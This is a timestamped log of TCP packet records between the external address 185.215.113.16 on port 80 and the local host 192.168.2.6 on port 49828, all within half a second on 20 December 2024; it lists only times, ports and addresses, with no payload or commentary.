Dec 20, 2024 16:20:01.290292025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292062998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292198896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292208910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292259932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.292340040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292351961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.292977095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.293025970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.293040991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.293051958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.293086052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.349036932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349220037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349234104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349311113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.349536896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349646091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349694967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.349755049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349767923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.349807978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.350373983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.350436926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.350450039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.350490093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.350501060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.351146936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.351273060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.351285934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.351969004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352019072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.352036953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352061033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352098942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.352827072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352941990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352953911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.352993965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.353585958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.353678942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.353719950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.353883982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.354300022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.354340076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.354404926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.354418039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.354464054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.355093002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.355159998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.355202913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.413345098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.413407087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.413458109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.413511038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.413611889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.413625002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.413662910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.414305925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.414365053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.414374113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.414386988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.414426088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.414885998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.414968014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.414979935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.415091991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.415841103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.415853024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.415865898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.415895939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.415916920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.416465998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.416552067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.416567087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.416600943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.417287111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.417341948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.417354107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.417388916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.417421103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.418204069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.418215036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.418229103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.418252945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.418819904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.418870926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.418941021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.418982029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.419023037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.419759035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.419770956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.419784069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.419828892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.420398951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.420455933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.420495987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.420507908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.420547009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.421123981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.421210051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.421221972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.421266079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.421967983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422020912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.422029972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422041893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422079086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.422657013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422754049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422766924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.422815084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.423472881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.423580885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.423593998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.423645020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.424204111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.424331903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.424344063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.424390078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.425071001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.425124884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.425148964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.425164938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.425209045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.425909996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.426090956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.426103115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.426140070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.426795006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.426851034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.426870108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.452717066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.452804089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.452819109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.452931881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.453044891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.453213930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.453228951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.453269958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.453933001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.456392050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.484775066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.484807968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.484821081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.484941006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.485028028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485143900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485177994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.485328913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485342979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485904932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485919952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485933065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.485972881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.486008883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.486594915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.486645937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.486659050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.486695051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.487322092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.487401962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.493191004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493273020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493287086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493335009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.493666887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493680000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493694067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.493716955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.493742943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.494365931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.536326885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.566226959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566267014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566279888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566339970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.566473961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566521883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.566688061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566700935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.566759109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.567224979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.567353964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.567368031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.567411900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.568017006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568130970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568145037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568326950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.568778992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568897009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568909883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.568968058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.569554090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.569600105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.569675922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.569695950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.569741011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.570362091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.570450068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.570463896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.570497036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.571127892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.571213961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.571225882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.571269989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.571926117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.572027922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.572040081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.572082996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.606240988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606347084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606359959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.606378078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606432915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.606658936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606847048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606861115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.606905937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.607388020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.607472897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.607513905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.607532978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.607582092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.608191967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.608273983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.608288050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.608350992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.608937979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.608998060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.609041929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.609067917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.609127045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.609756947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.609889984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.609904051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.609941959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.610498905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.610574961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.610596895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.610609055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.610656023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.611291885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.611388922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.611401081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.611483097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.612076044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.612133980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.612207890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.612260103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.612345934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.612921953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.612946987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.612960100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.613018036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.613629103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.613873005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.613951921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.613964081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.614008904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.614442110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.614563942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.614579916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.614706993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.615582943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.615607977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.615623951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.615653038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.615665913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.615979910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616090059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616106987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616143942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.616777897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616854906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.616885900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616902113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.616939068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.617604971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.617753029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.617770910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.617897034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.618340015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.618454933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.618468046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.618576050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.619095087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.619180918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.619195938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.619261980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.645143986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645215988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.645246029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645260096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645322084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.645508051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645629883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645644903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.645673990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.646364927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.646426916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.689850092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.689981937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690032959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.690129995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690289974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690304041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690342903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.690542936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690589905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.690926075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690942049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.690987110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.691051006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.691803932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.691836119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.691852093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.691865921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.691899061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.692473888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.692688942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.692795992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.694245100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694355965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694370031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694395065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.694591045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694632053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.694783926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694798946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.694844007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.695326090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.739237070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.758697987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.758759022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.758773088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.758802891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.759001970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759046078 CET	49828	80	192.168.2.6	185.215.113.16
